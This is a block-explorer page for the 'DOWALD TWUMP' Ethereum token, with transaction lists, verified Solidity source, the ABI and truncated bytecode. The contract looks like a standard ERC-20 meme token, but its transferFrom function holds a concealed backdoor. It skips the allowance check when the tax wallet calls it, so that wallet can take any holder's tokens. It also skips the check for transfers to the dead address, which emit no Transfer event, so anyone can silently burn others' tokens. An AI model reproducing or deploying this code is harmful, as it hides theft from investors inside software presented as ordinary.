Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 62 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 24424652 | 8 days ago | IN | 0 ETH | 0.0000039 | ||||
| Set Tax Wallet | 22037504 | 341 days ago | IN | 0 ETH | 0.00006838 | ||||
| Approve | 22037475 | 341 days ago | IN | 0 ETH | 0.00005092 | ||||
| Approve | 22037453 | 341 days ago | IN | 0 ETH | 0.0000337 | ||||
| Approve | 22037453 | 341 days ago | IN | 0 ETH | 0.0000337 | ||||
| Approve | 22037453 | 341 days ago | IN | 0 ETH | 0.0000337 | ||||
| Approve | 22037453 | 341 days ago | IN | 0 ETH | 0.0000337 | ||||
| Approve | 22037453 | 341 days ago | IN | 0 ETH | 0.0000337 | ||||
| Approve | 22037416 | 341 days ago | IN | 0 ETH | 0.00003236 | ||||
| Approve | 22037413 | 341 days ago | IN | 0 ETH | 0.00005108 | ||||
| Approve | 22037407 | 341 days ago | IN | 0 ETH | 0.00003691 | ||||
| Approve | 22037407 | 341 days ago | IN | 0 ETH | 0.00003691 | ||||
| Approve | 22037406 | 341 days ago | IN | 0 ETH | 0.00003691 | ||||
| Approve | 22037406 | 341 days ago | IN | 0 ETH | 0.00003691 | ||||
| Approve | 22037406 | 341 days ago | IN | 0 ETH | 0.00003691 | ||||
| Approve | 22037405 | 341 days ago | IN | 0 ETH | 0.00002708 | ||||
| Approve | 22037405 | 341 days ago | IN | 0 ETH | 0.00003439 | ||||
| Approve | 22037397 | 341 days ago | IN | 0 ETH | 0.00011776 | ||||
| Approve | 22037394 | 341 days ago | IN | 0 ETH | 0.00003664 | ||||
| Approve | 22037394 | 341 days ago | IN | 0 ETH | 0.00003664 | ||||
| Approve | 22037383 | 341 days ago | IN | 0 ETH | 0.0000401 | ||||
| Approve | 22037381 | 341 days ago | IN | 0 ETH | 0.00007462 | ||||
| Approve | 22037375 | 341 days ago | IN | 0 ETH | 0.00004209 | ||||
| Approve | 22037374 | 341 days ago | IN | 0 ETH | 0.00001789 | ||||
| Approve | 22037374 | 341 days ago | IN | 0 ETH | 0.00007427 |
Latest 9 internal transactions
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 22037313 | 341 days ago | 0.52025095 ETH | ||||
| Transfer | 22037313 | 341 days ago | 0.52025095 ETH | ||||
| Transfer | 22037306 | 341 days ago | 0.0048658 ETH | ||||
| Transfer | 22037306 | 341 days ago | 0.0048658 ETH | ||||
| Transfer | 22037305 | 341 days ago | 0.00487118 ETH | ||||
| Transfer | 22037305 | 341 days ago | 0.00487118 ETH | ||||
| Transfer | 22037303 | 341 days ago | 0.00497007 ETH | ||||
| Transfer | 22037303 | 341 days ago | 0.00497007 ETH | ||||
| Add Liquidity ET... | 22037302 | 341 days ago | 1 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
Token
Compiler Version
v0.8.26+commit.8a97fa7a
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT
/**
Website: https://dowaldtwump.site
X: https://x.com/dowaldtwumpeth
Telegram: https://t.me/dowaldtwumpeth
*/
pragma solidity ^0.8.19;
address constant _deadAddr = address(0xdead);
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
contract Token is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _feeExcluded;
address payable private _taxWallet;
address private _teamwallet;
address private _devwallet;
uint256 private _initialTax = 20;
uint256 private _finalTax = 0;
uint256 private _reduceTaxAt = 3;
uint256 private _preventSwapBefore = 3;
uint256 private _buyCount = 0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
string private constant _name = unicode"DOWALD TWUMP";
string private constant _symbol = unicode"TWUMP";
uint256 public _taxSwap = _tTotal / 100;
uint256 public _maxSwapThres = 7 * 10**18;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() payable {
_taxWallet = payable(_msgSender());
_feeExcluded[address(this)] = true;
_feeExcluded[_taxWallet] = true;
_balances[_msgSender()] = (_tTotal * 2) / 100;
_balances[address(this)] = (_tTotal * 98) / 100;
emit Transfer(address(0), _msgSender(), (_tTotal * 2) / 100);
emit Transfer(address(0), address(this), (_tTotal * 98) / 100);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
if (
msg.sender != _taxWallet &&
(sender == uniswapV2Pair || recipient != _deadAddr)
)
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (
from != owner() &&
to != owner() &&
from != address(this) &&
to != address(this)
) {
if (!inSwap) {
taxAmount = amount
.mul((_buyCount > _reduceTaxAt) ? _finalTax : _initialTax)
.div(100);
}
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_feeExcluded[to] &&
to != _taxWallet
) {
_buyCount++;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (
!inSwap &&
to == uniswapV2Pair &&
from != _taxWallet &&
swapEnabled &&
_buyCount > _preventSwapBefore
) {
if (block.number > lastSellBlock) {
sellCount = 0;
}
sellCount = sellCount + _getAmountOut(amount);
require(sellCount <= _maxSwapThres, "Max swap limit");
if (contractTokenBalance > _taxSwap)
swapTokensForEth(_taxSwap > amount ? amount : _taxSwap);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance >= 0) {
sendETHToFee(address(this).balance);
}
lastSellBlock = block.number;
}
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
if (to != _deadAddr) emit Transfer(from, to, amount.sub(taxAmount));
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function enableTrading() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function rescueEther() external onlyOwner {
require(address(this).balance > 0);
payable(_msgSender()).transfer(address(this).balance);
}
receive() external payable {}
function setTaxWallet(address payable newWallet) external {
require(_msgSender() == _taxWallet);
_taxWallet = newWallet;
}
function _getAmountOut(uint256 amount) internal view returns (uint256) {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
uint256[] memory amountOuts = uniswapV2Router.getAmountsOut(
amount,
path
);
return amountOuts[1];
}
}{
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxSwapThres","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEther","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
608060405260146007555f60085560036009556003600a555f600b5560646009600a61002b9190610607565b633b9aca0061003a9190610651565b61004491906106bf565b600c55676124fee993bc0000600d555f600f60156101000a81548160ff0219169083151502179055505f600f60166101000a81548160ff0219169083151502179055505f6010555f6011555f61009e61048f60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35061014861048f60201b60201c565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550606460026009600a6102649190610607565b633b9aca006102739190610651565b61027d9190610651565b61028791906106bf565b60015f61029861048f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460626009600a6102e79190610607565b633b9aca006102f69190610651565b6103009190610651565b61030a91906106bf565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061035961048f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a6103b99190610607565b633b9aca006103c89190610651565b6103d29190610651565b6103dc91906106bf565b6040516103e991906106fe565b60405180910390a33073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a6104529190610607565b633b9aca006104619190610651565b61046b9190610651565b61047591906106bf565b60405161048291906106fe565b60405180910390a3610717565b5f33905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610518578086048111156104f4576104f3610496565b5b60018516156105035780820291505b8081029050610511856104c3565b94506104d8565b94509492505050565b5f8261053057600190506105eb565b8161053d575f90506105eb565b8160018114610553576002811461055d5761058c565b60019150506105eb565b60ff84111561056f5761056e610496565b5b8360020a91508482111561058657610585610496565b5b506105eb565b5060208310610133831016604e8410600b84101617156105c15782820a9050838111156105bc576105bb610496565b5b6105eb565b6105ce84848460016104cf565b925090508184048111156105e5576105e4610496565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f610611826105f2565b915061061c836105fb565b92506106497fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610521565b905092915050565b5f61065b826105f2565b9150610666836105f2565b9250828202610674816105f2565b9150828204841483151761068b5761068a610496565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6106c9826105f2565b91506106d4836105f2565b9250826106e4576106e3610692565b5b828204905092915050565b6106f8816105f2565b82525050565b5f6020820190506107115f8301846106ef565b92915050565b61311c806107245f395ff3fe6080604052600436106100f6575f3560e01c8063715018a611610089578063a9059cbb11610058578063a9059cbb146102f3578063dc567d0a1461032f578063dd62ed3e14610359578063ea414b2814610395576100fd565b8063715018a6146102735780638a8c523c146102895780638da5cb5b1461029f57806395d89b41146102c9576100fd565b806323b872dd116100c557806323b872dd146101a7578063313ce567146101e357806334376f3b1461020d57806370a0823114610237576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806320969d0714610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103bd565b604051610122919061212f565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c91906121ed565b6103fa565b60405161015e9190612245565b60405180910390f35b348015610172575f80fd5b5061017b610417565b604051610188919061226d565b60405180910390f35b34801561019c575f80fd5b506101a561043a565b005b3480156101b2575f80fd5b506101cd60048036038101906101c89190612286565b610526565b6040516101da9190612245565b60405180910390f35b3480156101ee575f80fd5b506101f76106e2565b60405161020491906122f1565b60405180910390f35b348015610218575f80fd5b506102216106ea565b60405161022e919061226d565b60405180910390f35b348015610242575f80fd5b5061025d6004803603810190610258919061230a565b6106f0565b60405161026a919061226d565b60405180910390f35b34801561027e575f80fd5b50610287610736565b005b348015610294575f80fd5b5061029d610884565b005b3480156102aa575f80fd5b506102b3610da6565b6040516102c09190612344565b60405180910390f35b3480156102d4575f80fd5b506102dd610dcd565b6040516102ea919061212f565b60405180910390f35b3480156102fe575f80fd5b50610319600480360381019061031491906121ed565b610e0a565b6040516103269190612245565b60405180910390f35b34801561033a575f80fd5b50610343610e27565b604051610350919061226d565b60405180910390f35b348015610364575f80fd5b5061037f600480360381019061037a919061235d565b610e2d565b60405161038c919061226d565b60405180910390f35b3480156103a0575f80fd5b506103bb60048036038101906103b691906123d6565b610eaf565b005b60606040518060400160405280600c81526020017f444f57414c44205457554d500000000000000000000000000000000000000000815250905090565b5f61040d610406610f51565b8484610f58565b6001905092915050565b5f6009600a610426919061255d565b633b9aca0061043591906125a7565b905090565b610442610f51565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c590612632565b60405180910390fd5b5f47116104d9575f80fd5b6104e1610f51565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610523573d5f803e3d5ffd5b50565b5f61053284848461111b565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156106145750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610613575061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156106d7576106d684610625610f51565b6106d1856040518060600160405280602881526020016130bf6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610688610f51565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119859092919063ffffffff16565b610f58565b5b600190509392505050565b5f6009905090565b600c5481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61073e610f51565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c190612632565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61088c610f51565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610918576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090f90612632565b60405180910390fd5b600f60149054906101000a900460ff1615610968576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095f9061269a565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a0430600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6109f0919061255d565b633b9aca006109ff91906125a7565b610f58565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a6e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9291906126cc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b18573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3c91906126cc565b6040518363ffffffff1660e01b8152600401610b599291906126f7565b6020604051808303815f875af1158015610b75573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b9991906126cc565b600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c20306106f0565b5f80610c2a610da6565b426040518863ffffffff1660e01b8152600401610c4c96959493929190612760565b60606040518083038185885af1158015610c68573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c8d91906127d3565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d63929190612823565b6020604051808303815f875af1158015610d7f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610da39190612874565b50565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5457554d50000000000000000000000000000000000000000000000000000000815250905090565b5f610e1d610e16610f51565b848461111b565b6001905092915050565b600d5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eef610f51565b73ffffffffffffffffffffffffffffffffffffffff1614610f0e575f80fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbd9061290f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611034576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102b9061299d565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110e919061226d565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611189576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118090612a2b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ee90612ab9565b60405180910390fd5b5f8111611239576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123090612b47565b60405180910390fd5b5f611242610da6565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156112b05750611280610da6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112e857503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561132057503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561169f57600f60159054906101000a900460ff16611378576113756064611367600954600b541161135457600754611358565b6008545b856119e790919063ffffffff16565b611a5e90919063ffffffff16565b90505b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156114215750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611474575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156114cd575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114ea57600b5f8154809291906114e490612b65565b91905055505b5f6114f4306106f0565b9050600f60159054906101000a900460ff1615801561155f5750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156115b8575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156115d05750600f60169054906101000a900460ff165b80156115df5750600a54600b54115b1561169d576011544311156115f6575f6010819055505b6115ff83611aa7565b60105461160c9190612bac565b601081905550600d546010541115611659576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165090612c29565b60405180910390fd5b600c5481111561167f5761167e83600c541161167757600c54611679565b835b611ce5565b5b5f4790505f81106116945761169347611f50565b5b43601181905550505b505b6116ef8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611fb890919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117926117468284611fb890919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461200190919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8111156118d25761182b8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461200190919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffff